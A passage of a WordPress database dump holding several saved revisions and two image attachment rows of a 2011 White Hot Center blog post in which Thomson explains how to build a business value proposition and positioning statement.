(1585, 2, '2011-04-25 11:19:28', '2011-04-25 18:19:28', '<img class="alignnone size-full wp-image-1584" title="The seed of better outcomes" src="http://whc.fbdev.org/wp-content/uploads/2011/04/value-seed.jpg" alt="" width="495" height="345" />\n<h1><span style="color: #808080;">Your value proposition is the seed of all your business development conversations. If your conversations are going to grow into more paying clients, you’ll have to plant a collection of reasons people will buy from you rather than from someone else.</span></h1>\nPeople don’t buy things they buy outcomes. Customers/clients don’t care about your products and services. The value people care about is in the outcome they desire, not the thing you’re selling.  To stand out from the slush pile, your business development conversations need to be rooted in a compelling value proposition.\n\nYour value proposition (or unique selling proposition) clearly tells your prospective clients essential things they really care about before anything else you say will matter to them. Here are its components:\n\n•  what business your in (frame of reference)\n•  whom you serve  (target market)\n•  what problems you solve / emotional needs you fulfill  (desired outcomes)\n•  what the benefits are (business value of the outcome)\n•  what services/ what products (your offering)\n•  what proof you have to deliver on your promise (case stories, testimonials, blogs, etc.)\n•  why your offering is preferable to the available alternatives (genuine distinction)\n\nIn marketing parlance, this is called “positioning”.  Positioning is the space your value occupies in a prospective customer’s mind.  An effective positioning forms a collection of reasons clients / customers buy from you. Positioning is the art of sacrifice. Your business has to stand for something specific and valuable. To make your business development conversations compelling to prospects, you can’t be all things to all people.\n\nHowever, before your answers to the above questions will matter to a prospective client, there’s another essential piece to this puzzle you need to keep in mind. Your value proposition must:\n\nResonate\nIs there a real market for your product/service?  Are people willing to exchange money for your proposition? What do people care about that you have a highly-valued solution for? Resonance is a natural law–like attracts like. Your value proposition has to matter to like minded people, or there’s no business.\n\nDifferentiate\nBe known for providing only ONE highly-valued outcome. Be the “go-to” resource for solving a specific problem. Not a run-of-the-mill generalist clawing your way to the middle. Your value proposition must reinforce the idea your specialized expertise is not in abundant supply. How easy is it for clients to find a suitable substitute for your offerings? Your answer will reveal the amount of competitive advantage you’ll have in the sales cycle with prospective clients.\n\nSubstantiate\nYou must prove you can deliver on your promise of value. How have other clients benefited from your services? What compelling stories can you tell that inspire your prospects and relieve them of their natural tendencies to be wary and risk averse.\n\n<strong>Put it all together in a simple and concise statement. </strong>\n\nThis is your positioning statement framework. It forms the essence of all your early-stage business development conversations. Your positioning statement guides all your marketing and business communications in person, on-line, and in all forms of marketing communication.\n\nAs an example, here’s the positioning statement framework for the White Hot Center:\n\nThe White Hot Center is an online professional development resource,\n<strong>(what it is)</strong>\nserving early stage entrepreneurs,\n(who it serves)\nwho seek inspiration, ideas, clarity and confidence,\n(client needs and desired outcome)\nto pursue their best opportunities to create more impact, influence and income.\n(the emotional benefit and business value)\n\nThe White Hot Center provides online business consulting and professional development products,\n(the offering )\nthrough an information sharing blog,\n(the proof)\npresented in a simple, honest, engaging and artistic manner.\n(a genuine distinction)\n\nNotice in the positioning framework I don’t lead by rattling off my services. My services are not the most important component of my value proposition.  It’s not rocket science, but getting it precise requires some introspective thinking on your part. To get some objective feedback, you might ask your current clients what value they receive by working with you as opposed to somebody else. Their answers will illuminate your discovery.\n\nTake a moment away from the grind of your day and think about how you will create your own value proposition and positioning statement to guide your business development conversations. It will have an incredibly positive effect on your sales success.\n\nWhen you are satisfied with it, please share yours here, or go the White Hot Center Group on LinkedIn and post yours there. Share the love!\n\nTo your inspired success,\n\nThomson', 'The seed of better outcomes in your business development.', 0, '', 'inherit', 'open', 'open', '', '1583-revision', '', '', '2011-04-25 11:19:28', '2011-04-25 18:19:28', '', 1583, 'http://www.whitehotcenter.com/2011/04/25/1583-revision/', 0, 'revision', '', 0),
(1586, 2, '2011-04-25 11:20:14', '2011-04-25 18:20:14', '<img class="alignnone size-full wp-image-1584" title="The seed of better outcomes" src="http://whc.fbdev.org/wp-content/uploads/2011/04/value-seed.jpg" alt="" width="495" height="345" />\r\n<h1><span style="color: #808080;">Your value proposition is the seed of all your business development conversations. If your conversations are going to grow into more paying clients, you’ll have to plant a collection of reasons people will buy from you rather than from someone else.</span></h1>\r\nPeople don’t buy things they buy outcomes. Customers/clients don’t care about your products and services. The value people care about is in the outcome they desire, not the thing you’re selling.  To stand out from the slush pile, your business development conversations need to be rooted in a compelling value proposition.\r\n\r\nYour value proposition (or unique selling proposition) clearly tells your prospective clients essential things they really care about before anything else you say will matter to them. Here are its components:\r\n\r\n•  what business your in (frame of reference)\r\n•  whom you serve  (target market)\r\n•  what problems you solve / emotional needs you fulfill  (desired outcomes)\r\n•  what the benefits are (business value of the outcome)\r\n•  what services/ what products (your offering)\r\n•  what proof you have to deliver on your promise (case stories, testimonials, blogs, etc.)\r\n•  why your offering is preferable to the available alternatives (genuine distinction)\r\n\r\nIn marketing parlance, this is called “positioning”.  Positioning is the space your value occupies in a prospective customer’s mind.  An effective positioning forms a collection of reasons clients / customers buy from you. Positioning is the art of sacrifice. Your business has to stand for something specific and valuable. To make your business development conversations compelling to prospects, you can’t be all things to all people.\r\n\r\nHowever, before your answers to the above questions will matter to a prospective client, there’s another essential piece to this puzzle you need to keep in mind. Your value proposition must:\r\n\r\nResonate\r\nIs there a real market for your product/service?  Are people willing to exchange money for your proposition? What do people care about that you have a highly-valued solution for? Resonance is a natural law–like attracts like. Your value proposition has to matter to like minded people, or there’s no business.\r\n\r\nDifferentiate\r\nBe known for providing only ONE highly-valued outcome. Be the “go-to” resource for solving a specific problem. Not a run-of-the-mill generalist clawing your way to the middle. Your value proposition must reinforce the idea your specialized expertise is not in abundant supply. How easy is it for clients to find a suitable substitute for your offerings? Your answer will reveal the amount of competitive advantage you’ll have in the sales cycle with prospective clients.\r\n\r\nSubstantiate\r\nYou must prove you can deliver on your promise of value. How have other clients benefited from your services? What compelling stories can you tell that inspire your prospects and relieve them of their natural tendencies to be wary and risk averse.\r\n\r\n<strong>Put it all together in a simple and concise statement. </strong>\r\n\r\nThis is your positioning statement framework. It forms the essence of all your early-stage business development conversations. Your positioning statement guides all your marketing and business communications in person, on-line, and in all forms of marketing communication.\r\n\r\nAs an example, here’s the positioning statement framework for the White Hot Center:\r\n\r\nThe White Hot Center is an online professional development resource,\r\n<strong>(what it is)</strong>\r\nserving early stage entrepreneurs,\r\n<strong>(who it serves)</strong>\r\nwho seek inspiration, ideas, clarity and confidence,\r\n<strong>(client needs and desired outcome)</strong>\r\nto pursue their best opportunities to create more impact, influence and income.\r\n<strong>(the emotional benefit and business value)</strong>\r\n\r\nThe White Hot Center provides online business consulting and professional development products,\r\n<strong>(the offering)</strong>\r\nthrough an information sharing blog,\r\n<strong>(the proof)</strong>\r\npresented in a simple, honest, engaging and artistic manner.\r\n<strong>(a genuine distinction)</strong>\r\n\r\nNotice in the positioning framework I don’t lead by rattling off my services. My services are not the most important component of my value proposition.  It’s not rocket science, but getting it precise requires some introspective thinking on your part. To get some objective feedback, you might ask your current clients what value they receive by working with you as opposed to somebody else. Their answers will illuminate your discovery.\r\n\r\nTake a moment away from the grind of your day and think about how you will create your own value proposition and positioning statement to guide your business development conversations. It will have an incredibly positive effect on your sales success.\r\n\r\nWhen you are satisfied with it, please share yours here, or go the White Hot Center Group on LinkedIn and post yours there. Share the love!\r\n\r\nTo your inspired success,\r\n\r\nThomson', 'The seed of better outcomes in your business development.', 0, '', 'inherit', 'open', 'open', '', '1583-revision-2', '', '', '2011-04-25 11:20:14', '2011-04-25 18:20:14', '', 1583, 'http://www.whitehotcenter.com/2011/04/25/1583-revision-2/', 0, 'revision', '', 0);
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(1587, 2, '2011-04-25 11:20:28', '2011-04-25 18:20:28', '<img class="alignnone size-full wp-image-1584" title="The seed of better outcomes" src="http://whc.fbdev.org/wp-content/uploads/2011/04/value-seed.jpg" alt="" width="495" height="345" />\r\n<h1><span style="color: #808080;">Your value proposition is the seed of all your business development conversations. If your conversations are going to grow into more paying clients, you’ll have to plant a collection of reasons people will buy from you rather than from someone else.</span></h1>\r\nPeople don’t buy things they buy outcomes. Customers/clients don’t care about your products and services. The value people care about is in the outcome they desire, not the thing you’re selling.  To stand out from the slush pile, your business development conversations need to be rooted in a compelling value proposition.\r\n\r\nYour value proposition (or unique selling proposition) clearly tells your prospective clients essential things they really care about before anything else you say will matter to them. Here are its components:\r\n\r\n•  what business your in (frame of reference)\r\n•  whom you serve  (target market)\r\n•  what problems you solve / emotional needs you fulfill  (desired outcomes)\r\n•  what the benefits are (business value of the outcome)\r\n•  what services/ what products (your offering)\r\n•  what proof you have to deliver on your promise (case stories, testimonials, blogs, etc.)\r\n•  why your offering is preferable to the available alternatives (genuine distinction)\r\n\r\nIn marketing parlance, this is called “positioning”.  Positioning is the space your value occupies in a prospective customer’s mind.  An effective positioning forms a collection of reasons clients / customers buy from you. Positioning is the art of sacrifice. Your business has to stand for something specific and valuable. To make your business development conversations compelling to prospects, you can’t be all things to all people.\r\n\r\nHowever, before your answers to the above questions will matter to a prospective client, there’s another essential piece to this puzzle you need to keep in mind. Your value proposition must:\r\n\r\nResonate\r\nIs there a real market for your product/service?  Are people willing to exchange money for your proposition? What do people care about that you have a highly-valued solution for? Resonance is a natural law–like attracts like. Your value proposition has to matter to like minded people, or there’s no business.\r\n\r\nDifferentiate\r\nBe known for providing only ONE highly-valued outcome. Be the “go-to” resource for solving a specific problem. Not a run-of-the-mill generalist clawing your way to the middle. Your value proposition must reinforce the idea your specialized expertise is not in abundant supply. How easy is it for clients to find a suitable substitute for your offerings? Your answer will reveal the amount of competitive advantage you’ll have in the sales cycle with prospective clients.\r\n\r\nSubstantiate\r\nYou must prove you can deliver on your promise of value. How have other clients benefited from your services? What compelling stories can you tell that inspire your prospects and relieve them of their natural tendencies to be wary and risk averse.\r\n\r\n<strong>Put it all together in a simple and concise statement. </strong>\r\n\r\nThis is your positioning statement framework. It forms the essence of all your early-stage business development conversations. Your positioning statement guides all your marketing and business communications in person, on-line, and in all forms of marketing communication.\r\n\r\nAs an example, here’s the positioning statement framework for the White Hot Center:\r\n\r\nThe White Hot Center is an online professional development resource,\r\n<strong>(what it is)</strong>\r\nserving early stage entrepreneurs,\r\n<strong>(who it serves)</strong>\r\nwho seek inspiration, ideas, clarity and confidence,\r\n<strong>(client needs and desired outcome)</strong>\r\nto pursue their best opportunities to create more impact, influence and income.\r\n<strong>(the emotional benefit and business value)</strong>\r\n\r\nThe White Hot Center provides online business consulting and professional development products,\r\n<strong>(the offering)</strong>\r\nthrough an information sharing blog,\r\n<strong>(the proof)</strong>\r\npresented in a simple, honest, engaging and artistic manner.\r\n<strong>(a genuine distinction)</strong>\r\n\r\nNotice in the positioning framework I don’t lead by rattling off my services. My services are not the most important component of my value proposition.  It’s not rocket science, but getting it precise requires some introspective thinking on your part. To get some objective feedback, you might ask your current clients what value they receive by working with you as opposed to somebody else. Their answers will illuminate your discovery.\r\n\r\nTake a moment away from the grind of your day and think about how you will create your own value proposition and positioning statement to guide your business development conversations. It will have an incredibly positive effect on your sales success.\r\n\r\nWhen you are satisfied with it, please share yours here, or go the White Hot Center Group on LinkedIn and post yours there. Share the love!\r\n\r\nTo your inspired success,\r\n\r\nThomson', 'The seed of better outcomes in your business development.', 0, '', 'inherit', 'open', 'open', '', '1583-revision-3', '', '', '2011-04-25 11:20:28', '2011-04-25 18:20:28', '', 1583, 'http://www.whitehotcenter.com/2011/04/25/1583-revision-3/', 0, 'revision', '', 0),
(1588, 2, '2011-04-25 11:26:13', '2011-04-25 18:26:13', '<img class="alignnone size-full wp-image-1584" title="The seed of better outcomes" src="http://whc.fbdev.org/wp-content/uploads/2011/04/value-seed.jpg" alt="" width="495" height="345" />\r\n<h1><span style="color: #808080;">Your value proposition is the seed of all your business development conversations. If your conversations are going to grow into more paying clients, you’ll have to plant a collection of reasons people will buy from you rather than from someone else.</span></h1>\r\nPeople don’t buy things they buy outcomes. Customers/clients don’t care about your products and services. The value people care about is in the outcome they desire, not the thing you’re selling.  To stand out from the slush pile, your business development conversations need to be rooted in a compelling value proposition.\r\n\r\nYour value proposition (or unique selling proposition) clearly tells your prospective clients essential things they really care about before anything else you say will matter to them. Here are its components:\r\n\r\n•  what business your in (frame of reference)\r\n•  whom you serve (target market)\r\n•  what problems you solve / emotional needs you fulfill (desired outcomes)\r\n•  what the benefits are (business value of the outcome)\r\n•  what services/ what products (your offering)\r\n•  what proof you have to deliver your promise (case stories, testimonials)\r\n•  why your offering is preferable to available alternatives (genuine distinction)\r\n<h2>In marketing parlance, this is called “positioning”.  Positioning is the space your value occupies in a prospective customer’s mind.  An effective positioning forms a collection of reasons clients / customers buy from you. Positioning is the art of sacrifice. Your business has to stand for something specific and valuable. To make your business development conversations compelling to prospects, you can’t be all things to all people.</h2>\r\nHowever, before your answers to the above questions will matter to a prospective client, there’s another essential piece to this puzzle you need to keep in mind. Your value proposition must:\r\n\r\n<strong>Resonate</strong>\r\nIs there a real market for your product/service?  Are people willing to exchange money for your proposition? What do people care about that you have a highly-valued solution for? Resonance is a natural law–like attracts like. Your value proposition has to matter to like minded people, or there’s no business.\r\n\r\n<strong>Differentiate</strong>\r\nBe known for providing only ONE highly-valued outcome. Be the “go-to” resource for solving a specific problem. Not a run-of-the-mill generalist clawing your way to the middle. Your value proposition must reinforce the idea your specialized expertise is not in abundant supply. How easy is it for clients to find a suitable substitute for your offerings? Your answer will reveal the amount of competitive advantage you’ll have in the sales cycle with prospective clients.\r\n\r\n<strong>Substantiate</strong>\r\nYou must prove you can deliver on your promise of value. How have other clients benefited from your services? What compelling stories can you tell that inspire your prospects and relieve them of their natural tendencies to be wary and risk averse.\r\n\r\n<strong>Put it all together in a simple and concise statement. </strong>\r\n\r\nThis is your positioning statement framework. It forms the essence of all your early-stage business development conversations. Your positioning statement guides all your marketing and business communications in person, on-line, and in all forms of marketing communication. As an example, here’s the positioning statement framework for the White Hot Center:\r\n\r\nThe White Hot Center is an online professional development resource,\r\n<strong>(what it is)</strong>\r\nserving early stage entrepreneurs,\r\n<strong>(who it serves)</strong>\r\nwho seek inspiration, ideas, clarity and confidence,\r\n<strong>(client needs and desired outcome)</strong>\r\nto pursue their best opportunities to create more impact, influence and income.\r\n<strong>(the emotional benefit and business value)</strong>\r\n\r\nThe White Hot Center provides online business consulting and professional development products,\r\n<strong>(the offering)</strong>\r\nthrough an information sharing blog,\r\n<strong>(the proof)</strong>\r\npresented in a simple, honest, engaging and artistic manner.\r\n<strong>(a genuine distinction)</strong>\r\n\r\nNotice in the positioning framework I don’t lead by rattling off my services. My services are not the most important component of my value proposition.  It’s not rocket science, but getting it precise requires some introspective thinking on your part. To get some objective feedback, you might ask your current clients what value they receive by working with you as opposed to somebody else. Their answers will illuminate your discovery.\r\n\r\nTake a moment away from the grind of your day and think about how you will create your own value proposition and positioning statement to guide your business development conversations. It will have an incredibly positive effect on your sales success. When you are satisfied with it, please share yours here, or go the White Hot Center Group on LinkedIn and post yours there. Share the love!\r\n\r\nTo your inspired success,\r\nThomson', 'The seed of better outcomes in your business development.', 0, '', 'inherit', 'open', 'open', '', '1583-revision-4', '', '', '2011-04-25 11:26:13', '2011-04-25 18:26:13', '', 1583, 'http://www.whitehotcenter.com/2011/04/25/1583-revision-4/', 0, 'revision', '', 0),
(1589, 2, '2011-04-25 11:26:24', '2011-04-25 18:26:24', '<img class="alignnone size-full wp-image-1584" title="The seed of better outcomes" src="http://whc.fbdev.org/wp-content/uploads/2011/04/value-seed.jpg" alt="" width="495" height="345" />\r\n<h1><span style="color: #808080;">Your value proposition is the seed of all your business development conversations. If your conversations are going to grow into more paying clients, you’ll have to plant a collection of reasons people will buy from you rather than from someone else.</span></h1>\r\nPeople don’t buy things they buy outcomes. Customers/clients don’t care about your products and services. The value people care about is in the outcome they desire, not the thing you’re selling.  To stand out from the slush pile, your business development conversations need to be rooted in a compelling value proposition.\r\n\r\nYour value proposition (or unique selling proposition) clearly tells your prospective clients essential things they really care about before anything else you say will matter to them. Here are its components:\r\n\r\n•  what business your in (frame of reference)\r\n•  whom you serve (target market)\r\n•  what problems you solve / emotional needs you fulfill (desired outcomes)\r\n•  what the benefits are (business value of the outcome)\r\n•  what services/ what products (your offering)\r\n•  what proof you have to deliver your promise (case stories, testimonials)\r\n•  why your offering is preferable to available alternatives (genuine distinction)\r\n<h2>In marketing parlance, this is called “positioning”.  Positioning is the space your value occupies in a prospective customer’s mind.  An effective positioning forms a collection of reasons clients / customers buy from you. Positioning is the art of sacrifice. Your business has to stand for something specific and valuable. To make your business development conversations compelling to prospects, you can’t be all things to all people.</h2>\r\nHowever, before your answers to the above questions will matter to a prospective client, there’s another essential piece to this puzzle you need to keep in mind. Your value proposition must:\r\n\r\n<strong>Resonate</strong>\r\nIs there a real market for your product/service?  Are people willing to exchange money for your proposition? What do people care about that you have a highly-valued solution for? Resonance is a natural law–like attracts like. Your value proposition has to matter to like minded people, or there’s no business.\r\n\r\n<strong>Differentiate</strong>\r\nBe known for providing only ONE highly-valued outcome. Be the “go-to” resource for solving a specific problem. Not a run-of-the-mill generalist clawing your way to the middle. Your value proposition must reinforce the idea your specialized expertise is not in abundant supply. How easy is it for clients to find a suitable substitute for your offerings? Your answer will reveal the amount of competitive advantage you’ll have in the sales cycle with prospective clients.\r\n\r\n<strong>Substantiate</strong>\r\nYou must prove you can deliver on your promise of value. How have other clients benefited from your services? What compelling stories can you tell that inspire your prospects and relieve them of their natural tendencies to be wary and risk averse.\r\n\r\n<strong>Put it all together in a simple and concise statement. </strong>\r\n\r\nThis is your positioning statement framework. It forms the essence of all your early-stage business development conversations. Your positioning statement guides all your marketing and business communications in person, on-line, and in all forms of marketing communication. As an example, here’s the positioning statement framework for the White Hot Center:\r\n\r\nThe White Hot Center is an online professional development resource,\r\n<strong>(what it is)</strong>\r\nserving early stage entrepreneurs,\r\n<strong>(who it serves)</strong>\r\nwho seek inspiration, ideas, clarity and confidence,\r\n<strong>(client needs and desired outcome)</strong>\r\nto pursue their best opportunities to create more impact, influence and income.\r\n<strong>(the emotional benefit and business value)</strong>\r\n\r\nThe White Hot Center provides online business consulting and professional development products,\r\n<strong>(the offering)</strong>\r\nthrough an information sharing blog,\r\n<strong>(the proof)</strong>\r\npresented in a simple, honest, engaging and artistic manner.\r\n<strong>(a genuine distinction)</strong>\r\n\r\nNotice in the positioning framework I don’t lead by rattling off my services. My services are not the most important component of my value proposition.  It’s not rocket science, but getting it precise requires some introspective thinking on your part. To get some objective feedback, you might ask your current clients what value they receive by working with you as opposed to somebody else. Their answers will illuminate your discovery.\r\n\r\nTake a moment away from the grind of your day and think about how you will create your own value proposition and positioning statement to guide your business development conversations. It will have an incredibly positive effect on your sales success. When you are satisfied with it, please share yours here, or go the White Hot Center Group on LinkedIn and post yours there. Share the love!\r\n\r\nTo your inspired success,\r\nThomson', 'The seed of better outcomes in your business development.', 0, '', 'inherit', 'open', 'open', '', '1583-revision-5', '', '', '2011-04-25 11:26:24', '2011-04-25 18:26:24', '', 1583, 'http://www.whitehotcenter.com/2011/04/25/1583-revision-5/', 0, 'revision', '', 0),
(1590, 2, '2011-04-25 11:26:36', '2011-04-25 18:26:36', '<img class="alignnone size-full wp-image-1584" title="The seed of better outcomes" src="http://whc.fbdev.org/wp-content/uploads/2011/04/value-seed.jpg" alt="" width="495" height="345" />\r\n<h1><span style="color: #808080;">Your value proposition is the seed of all your business development conversations. If your conversations are going to grow into more paying clients, you’ll have to plant a collection of reasons people will buy from you rather than from someone else.</span></h1>\r\nPeople don’t buy things they buy outcomes. Customers/clients don’t care about your products and services. The value people care about is in the outcome they desire, not the thing you’re selling.  To stand out from the slush pile, your business development conversations need to be rooted in a compelling value proposition.\r\n\r\nYour value proposition (or unique selling proposition) clearly tells your prospective clients essential things they really care about before anything else you say will matter to them. Here are its components:\r\n\r\n•  what business your in (frame of reference)\r\n•  whom you serve (target market)\r\n•  what problems you solve / emotional needs you fulfill (desired outcomes)\r\n•  what the benefits are (business value of the outcome)\r\n•  what services/ what products (your offering)\r\n•  what proof you have to deliver your promise (case stories, testimonials)\r\n•  why your offering is preferable to available alternatives (genuine distinction)\r\n<h2>In marketing parlance, this is called “positioning”.  Positioning is the space your value occupies in a prospective customer’s mind.  An effective positioning forms a collection of reasons clients / customers buy from you. Positioning is the art of sacrifice. Your business has to stand for something specific and valuable. To make your business development conversations compelling to prospects, you can’t be all things to all people.</h2>\r\nHowever, before your answers to the above questions will matter to a prospective client, there’s another essential piece to this puzzle you need to keep in mind. Your value proposition must:\r\n\r\n<strong>Resonate</strong>\r\nIs there a real market for your product/service?  Are people willing to exchange money for your proposition? What do people care about that you have a highly-valued solution for? Resonance is a natural law–like attracts like. Your value proposition has to matter to like minded people, or there’s no business.\r\n\r\n<strong>Differentiate</strong>\r\nBe known for providing only ONE highly-valued outcome. Be the “go-to” resource for solving a specific problem. Not a run-of-the-mill generalist clawing your way to the middle. Your value proposition must reinforce the idea your specialized expertise is not in abundant supply. How easy is it for clients to find a suitable substitute for your offerings? Your answer will reveal the amount of competitive advantage you’ll have in the sales cycle with prospective clients.\r\n\r\n<strong>Substantiate</strong>\r\nYou must prove you can deliver on your promise of value. How have other clients benefited from your services? What compelling stories can you tell that inspire your prospects and relieve them of their natural tendencies to be wary and risk averse.\r\n\r\n<strong>Put it all together in a simple and concise statement. </strong>\r\n\r\nThis is your positioning statement framework. It forms the essence of all your early-stage business development conversations. Your positioning statement guides all your marketing and business communications in person, on-line, and in all forms of marketing communication. As an example, here’s the positioning statement framework for the White Hot Center:\r\n\r\nThe White Hot Center is an online professional development resource,\r\n<strong>(what it is)</strong>\r\nserving early stage entrepreneurs,\r\n<strong>(who it serves)</strong>\r\nwho seek inspiration, ideas, clarity and confidence,\r\n<strong>(client needs and desired outcome)</strong>\r\nto pursue their best opportunities to create more impact, influence and income.\r\n<strong>(the emotional benefit and business value)</strong>\r\n\r\nThe White Hot Center provides online business consulting and professional development products,\r\n<strong>(the offering)</strong>\r\nthrough an information sharing blog,\r\n<strong>(the proof)</strong>\r\npresented in a simple, honest, engaging and artistic manner.\r\n<strong>(a genuine distinction)</strong>\r\n\r\nNotice in the positioning framework I don’t lead by rattling off my services. My services are not the most important component of my value proposition.  It’s not rocket science, but getting it precise requires some introspective thinking on your part. To get some objective feedback, you might ask your current clients what value they receive by working with you as opposed to somebody else. Their answers will illuminate your discovery.\r\n\r\nTake a moment away from the grind of your day and think about how you will create your own value proposition and positioning statement to guide your business development conversations. It will have an incredibly positive effect on your sales success. When you are satisfied with it, please share yours here, or go the White Hot Center Group on LinkedIn and post yours there. Share the love!\r\n\r\nTo your inspired success,\r\nThomson', 'The seed of better outcomes in your business development.', 0, '', 'inherit', 'open', 'open', '', '1583-revision-6', '', '', '2011-04-25 11:26:36', '2011-04-25 18:26:36', '', 1583, 'http://www.whitehotcenter.com/2011/04/25/1583-revision-6/', 0, 'revision', '', 0),
(1591, 2, '2011-04-25 11:28:47', '2011-04-25 18:28:47', '', 'The seed of better outcomes.', 0, '', 'inherit', 'open', 'open', '', 'value-seed-2', '', '', '2011-04-25 11:28:47', '2011-04-25 18:28:47', '', 1583, 'http://www.whitehotcenter.com/wp-content/uploads/2011/04/value-seed1.jpg', 0, 'attachment', 'image/jpeg', 0),
(1592, 2, '2011-04-25 11:27:55', '2011-04-25 18:27:55', '<img class="alignnone size-full wp-image-1584" title="The seed of better outcomes" src="http://whc.fbdev.org/wp-content/uploads/2011/04/value-seed.jpg" alt="" width="495" height="345" />\r\n<h1><span style="color: #808080;">Your value proposition is the seed of all your business development conversations. If your conversations are going to grow into more paying clients, you’ll have to plant a collection of reasons people will buy from you rather than from someone else.</span></h1>\r\nPeople don’t buy things they buy outcomes. Customers/clients don’t care about your products and services. The value people care about is in the outcome they desire, not the thing you’re selling.  To stand out from the slush pile, your business development conversations need to be rooted in a compelling value proposition.\r\n\r\nYour value proposition (or unique selling proposition) clearly tells your prospective clients essential things they really care about before anything else you say will matter to them. Here are its components:\r\n\r\n•  what business your in (frame of reference)\r\n•  whom you serve (target market)\r\n•  what problems you solve / emotional needs you fulfill (desired outcomes)\r\n•  what the benefits are (business value of the outcome)\r\n•  what services/ what products (your offering)\r\n•  what proof you have to deliver your promise (case stories, testimonials)\r\n•  why your offering is preferable to available alternatives (genuine distinction)\r\n<h2>In marketing parlance, this is called “positioning”.  Positioning is the space your value occupies in a prospective customer’s mind. An effective positioning forms a collection of reasons clients / customers buy from you.</h2>\r\nPositioning is the art of sacrifice. Your business has to stand for something specific and valuable. To make your business development conversations compelling to prospects, you can’t be all things to all people.\r\n\r\nHowever, before your answers to the above questions will matter to a prospective client, there’s another essential piece to this puzzle you need to keep in mind. Your value proposition must:\r\n\r\n<strong>Resonate</strong>\r\nIs there a real market for your product/service?  Are people willing to exchange money for your proposition? What do people care about that you have a highly-valued solution for? Resonance is a natural law–like attracts like. Your value proposition has to matter to like minded people, or there’s no business.\r\n\r\n<strong>Differentiate</strong>\r\nBe known for providing only ONE highly-valued outcome. Be the “go-to” resource for solving a specific problem. Not a run-of-the-mill generalist clawing your way to the middle. Your value proposition must reinforce the idea your specialized expertise is not in abundant supply. How easy is it for clients to find a suitable substitute for your offerings? Your answer will reveal the amount of competitive advantage you’ll have in the sales cycle with prospective clients.\r\n\r\n<strong>Substantiate</strong>\r\nYou must prove you can deliver on your promise of value. How have other clients benefited from your services? What compelling stories can you tell that inspire your prospects and relieve them of their natural tendencies to be wary and risk averse.\r\n\r\n<strong>Put it all together in a simple and concise statement. </strong>\r\n\r\nThis is your positioning statement framework. It forms the essence of all your early-stage business development conversations. Your positioning statement guides all your marketing and business communications in person, on-line, and in all forms of marketing communication. As an example, here’s the positioning statement framework for the White Hot Center:\r\n\r\nThe White Hot Center is an online professional development resource,\r\n<strong>(what it is)</strong>\r\nserving early stage entrepreneurs,\r\n<strong>(who it serves)</strong>\r\nwho seek inspiration, ideas, clarity and confidence,\r\n<strong>(client needs and desired outcome)</strong>\r\nto pursue their best opportunities to create more impact, influence and income.\r\n<strong>(the emotional benefit and business value)</strong>\r\n\r\nThe White Hot Center provides online business consulting and professional development products,\r\n<strong>(the offering)</strong>\r\nthrough an information sharing blog,\r\n<strong>(the proof)</strong>\r\npresented in a simple, honest, engaging and artistic manner.\r\n<strong>(a genuine distinction)</strong>\r\n\r\nNotice in the positioning framework I don’t lead by rattling off my services. My services are not the most important component of my value proposition.  It’s not rocket science, but getting it precise requires some introspective thinking on your part. To get some objective feedback, you might ask your current clients what value they receive by working with you as opposed to somebody else. Their answers will illuminate your discovery.\r\n\r\nTake a moment away from the grind of your day and think about how you will create your own value proposition and positioning statement to guide your business development conversations. It will have an incredibly positive effect on your sales success. When you are satisfied with it, please share yours here, or go the White Hot Center Group on LinkedIn and post yours there. Share the love!\r\n\r\nTo your inspired success,\r\nThomson', 'The seed of better outcomes in your business development.', 0, '', 'inherit', 'open', 'open', '', '1583-revision-7', '', '', '2011-04-25 11:27:55', '2011-04-25 18:27:55', '', 1583, 'http://www.whitehotcenter.com/2011/04/25/1583-revision-7/', 0, 'revision', '', 0),
(1593, 2, '2011-04-25 11:30:21', '2011-04-25 18:30:21', '', 'The seed of better outcomes', 0, '', 'inherit', 'open', 'open', '', 'value-seed-3', '', '', '2011-04-25 11:30:21', '2011-04-25 18:30:21', '', 1583, 'http://www.whitehotcenter.com/wp-content/uploads/2011/04/value-seed2.jpg', 0, 'attachment', 'image/jpeg', 0),
(1594, 2, '2011-04-25 11:29:14', '2011-04-25 18:29:14', '<img class="alignnone size-full wp-image-1591" title="The seed of better outcomes." src="http://whc.fbdev.org/wp-content/uploads/2011/04/value-seed1.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">Your value proposition is the seed of all your business development conversations. If your conversations are going to grow into more paying clients, you’ll have to plant a collection of reasons people will buy from you rather than from someone else.</span></h1>\r\nPeople don’t buy things they buy outcomes. Customers/clients don’t care about your products and services. The value people care about is in the outcome they desire, not the thing you’re selling.  To stand out from the slush pile, your business development conversations need to be rooted in a compelling value proposition.\r\n\r\nYour value proposition (or unique selling proposition) clearly tells your prospective clients essential things they really care about before anything else you say will matter to them. Here are its components:\r\n\r\n•  what business your in (frame of reference)\r\n•  whom you serve (target market)\r\n•  what problems you solve / emotional needs you fulfill (desired outcomes)\r\n•  what the benefits are (business value of the outcome)\r\n•  what services/ what products (your offering)\r\n•  what proof you have to deliver your promise (case stories, testimonials)\r\n•  why your offering is preferable to available alternatives (genuine distinction)\r\n<h2>In marketing parlance, this is called “positioning”.  Positioning is the space your value occupies in a prospective customer’s mind. An effective positioning forms a collection of reasons clients / customers buy from you.</h2>\r\nPositioning is the art of sacrifice. Your business has to stand for something specific and valuable. To make your business development conversations compelling to prospects, you can’t be all things to all people.\r\n\r\nHowever, before your answers to the above questions will matter to a prospective client, there’s another essential piece to this puzzle you need to keep in mind. Your value proposition must:\r\n\r\n<strong>Resonate</strong>\r\nIs there a real market for your product/service?  Are people willing to exchange money for your proposition? What do people care about that you have a highly-valued solution for? Resonance is a natural law–like attracts like. Your value proposition has to matter to like minded people, or there’s no business.\r\n\r\n<strong>Differentiate</strong>\r\nBe known for providing only ONE highly-valued outcome. Be the “go-to” resource for solving a specific problem. Not a run-of-the-mill generalist clawing your way to the middle. Your value proposition must reinforce the idea your specialized expertise is not in abundant supply. How easy is it for clients to find a suitable substitute for your offerings? Your answer will reveal the amount of competitive advantage you’ll have in the sales cycle with prospective clients.\r\n\r\n<strong>Substantiate</strong>\r\nYou must prove you can deliver on your promise of value. How have other clients benefited from your services? What compelling stories can you tell that inspire your prospects and relieve them of their natural tendencies to be wary and risk averse.\r\n\r\n<strong>Put it all together in a simple and concise statement. </strong>\r\n\r\nThis is your positioning statement framework. It forms the essence of all your early-stage business development conversations. Your positioning statement guides all your marketing and business communications in person, on-line, and in all forms of marketing communication. As an example, here’s the positioning statement framework for the White Hot Center:\r\n\r\nThe White Hot Center is an online professional development resource,\r\n<strong>(what it is)</strong>\r\nserving early stage 